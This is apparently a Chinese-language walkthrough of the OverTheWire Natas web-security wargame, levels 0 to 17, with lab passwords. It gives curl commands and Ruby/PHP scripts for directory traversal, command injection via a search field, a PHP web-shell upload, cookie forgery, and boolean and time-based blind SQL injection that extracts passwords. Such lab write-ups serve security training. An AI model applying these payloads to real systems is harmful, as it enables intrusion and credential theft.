OverTheWire - Natas Wargame - Level 0 ~ Level 17

Natas Wargame是关于web安全的wargame。

Level 0

1
curl -su natas0:natas0 http://natas0.natas.labs.overthewire.org | grep password

Level 1

body标签使用了oncontextmenu屏蔽右键菜单,但是可以不理会继续使用curl

1
curl -su natas1:gtVrDuiDfck831PqWsLEZy5gyDz1clto http://natas1.natas.labs.overthewire.org

Level 2

1
curl -su natas2:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi http://natas2.natas.labs.overthewire.org

看到源代码中有文件/files/pixel.png,因此访问目录/files/

1
curl -su natas2:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi http://natas2.natas.labs.overthewire.org/files/

发现文件users.txt,访问得到natas3的密码。

Level 3

1
curl -su natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 http://natas3.natas.labs.overthewire.org/robots.txt

发现目录/s3cr3t/,因此访问该目录:

1
2
curl -su natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 http://natas3.natas.labs.overthewire.org/s3cr3t/
curl -su natas3:sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14 http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt

Level 4

提示:Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/", 因此用-e选项设置Referer:

1
curl -su natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ http://natas4.natas.labs.overthewire.org/ -e http://natas5.natas.labs.overthewire.org/

Level 5

1
curl -isu natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq http://natas5.natas.labs.overthewire.org

发现Set-Cookie: loggedin=0,尝试用-b指定cookie:

1
curl -su natas5:iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq http://natas5.natas.labs.overthewire.org -b 'loggedin=1'

Level 6

访问/index-source.html发现可疑文件includes/secret.inc,访问之得到"FOEIUWGHFEEUHOFUOIU"

1
curl -su natas6:aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1 -F 'secret=FOEIUWGHFEEUHOFUOIU' -F 'submit=1' http://natas6.natas.labs.overthewire.org

Level 7

可以对index.php实施directory traversal attack:

1
curl -su natas7:7z3hEENjQtflzgnT29q7wAvMNfZdh0i9 http://natas7.natas.labs.overthewire.org/\?page\=/etc/natas_webpass/natas8

Level 8

$encodedSecret是下面函数编码得到的:

1
2
3
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}

使用

1
echo 3d3d516343746d4d6d6c315669563362 | xxd -p -r | rev | base64 -d

解码得到密码,然后:

1
curl -su natas8:DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe -F secret=oubWYf2kBq -F submit=1 http://natas8.natas.labs.overthewire.org

Level 9

1
curl -su natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl -F 'needle=;cat /etc/natas_webpass/natas10 #' -F submit=1 http://natas9.natas.labs.overthewire.org

Level 10

和上一关类似,但对needle的值做了过滤,不允许出现;|&三种字符。

1
curl -su natas10:nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu -F 'needle=. /etc/natas_webpass/natas11 #' -F submit=1 http://natas10.natas.labs.overthewire.org

Level 11

1
curl -Isu natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK http://natas11.natas.labs.overthewire.org

得到cookie:Set-Cookie: data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D

根据/index-source.htmlcookie[data] xor key = tempdata,所以cookie[data] xor tempdata = key。 编写如下PHP程序运行得到keyqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq

1
2
3
4
5
6
7
8
9
<?php
$outText = base64_decode('ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw');
$key = json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));
$in = '';
for ($i=0; $i < strlen($outText); $i++) {
$in .= $outText[$i] ^ $key[$i % strlen($key)];
}
echo $in;
?>

然后对代码做调整:

1
2
3
4
5
6
7
8
9
<?php
$outText = '';
$in = json_encode(array("showpassword"=>"yes", "bgcolor"=>"#ffffff"));
$key = 'qw8J';
for ($i=0; $i < strlen($in); $i++) {
$outText .= $in[$i] ^ $key[$i % strlen($key)];
}
echo base64_encode($outText);
?>

执行得到cookie,在curl里用-b设置这个cookie:

1
curl -su natas11:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK -b data=ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK http://natas11.natas.labs.overthewire.org

Level 12

1
curl -isu natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 -F filename=a.php -F 'uploadedfile=@-;filename=a.php' http://natas12.natas.labs.overthewire.org <<< '<?php passthru($_GET['cmd']); ?>'

上传一个简单的web shell,然后执行

1
curl -isu natas12:EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3 'http://natas12.natas.labs.overthewire.org/upload/vvrbw84pu0.php?cmd=cat+/etc/natas_webpass/natas13'

读取密码。

Level 13

和上一关的差别是多使用了exif_imagetype检测上传文件的类型:

1
else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name']))
1
2
curl -su natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY -F filename=a.php -F 'uploadedfile=@-;filename=a.php' http://natas13.natas.labs.overthewire.org <<< $'\xff\xd8\xff<?php passthru($_GET['cmd']); ?>' | grep uploaded
curl -su natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY 'http://natas13.natas.labs.overthewire.org/upload/8xr6u3ow6k.php?cmd=cat+/etc/natas_webpass/natas14'

Level 14

代码中有:

1
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";

,存在SQL injection漏洞:

1
curl -su natas14:Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1 -F 'username=" or 1#' http://natas14.natas.labs.overthewire.org

Level 15

代码中有:

1
if(mysql_num_rows($res) > 0)

从服务端返回的HTML里是否有user exists可以知道注入的SQL语句返回的记录行数是否为空。可以二分搜索密码的每一位, 一般密码字符的ASCII码在33到126之间,可以用下界32表示密码结束。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
require 'net/http'
Net::HTTP.start('natas15.natas.labs.overthewire.org') {|http|
1.upto(1992) {|pos|
l = 32
h = 126
while l < h
m = (l + h) / 2
req = Net::HTTP::Post.new('/')
req.basic_auth 'natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
req.body = %{username=natas16" and #{m} < ascii(mid(password,#{pos},1)) #}
res = http.request(req)
if res.body =~ /user exists/
l = m + 1
else
h = m
end
end
break if l == 32
print l.chr
}
}

Level 16

Level 11的升级版,现在过滤;|&`'"这几种字符了。

1
curl -o/dev/null -su natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh -F 'needle=$(cat /etc/natas_webpass/natas17 > /tmp/natas17)' http://natas16.natas.labs.overthewire.org

Level 9允许执行shell命令:

1
curl -su natas9:W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl -F 'needle=;cat /tmp/natas17 #' -F submit=1 http://natas9.natas.labs.overthewire.org

Level 17

代码和Level 15类似,但这次服务端不再提供注入的SQL返回的结果是否非空的信息了。 可以采用time-based SQL injection的方法:

1
curl -su natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw -F 'username=natas18" and if(ascii(mid(password,1,1)) < 128,sleep(1),1) #' http://natas17.natas.labs.overthewire.org

if语句让服务器MySQL对ascii(mid(password,1,1)) < 128求值, 若为真则sleep一秒,通过检测收到服务端返回结果的用时来得知表达式是否为真。 改变128得到二分搜索密码每个字符的代码。因为time-based注入方式执行时间较长, 考虑用多线程提速:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
require 'net/http'
timeout = 2
ans = '*' * 32
worker = ->from, to {
Net::HTTP.start('natas17.natas.labs.overthewire.org') {|http|
http.read_timeout = timeout
(from...to).each {|pos|
l = 32
h = 126
while l < h
m = (l + h) / 2
req = Net::HTTP::Post.new('/')
req.basic_auth 'natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'
req.body = %{username=natas18" and if(#{m} < ascii(mid(password,#{pos+1},1)), sleep(#{timeout}), 1) #}
begin
http.request(req)
rescue Net::ReadTimeout
l = m + 1
else
h = m
end
end
ans[pos] = l.chr
}
}
}
16.times.map {|i| Thread.new { worker[i*2, i*2+2] } }.each &:join
puts ans

得到密码:xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

其他wargames资源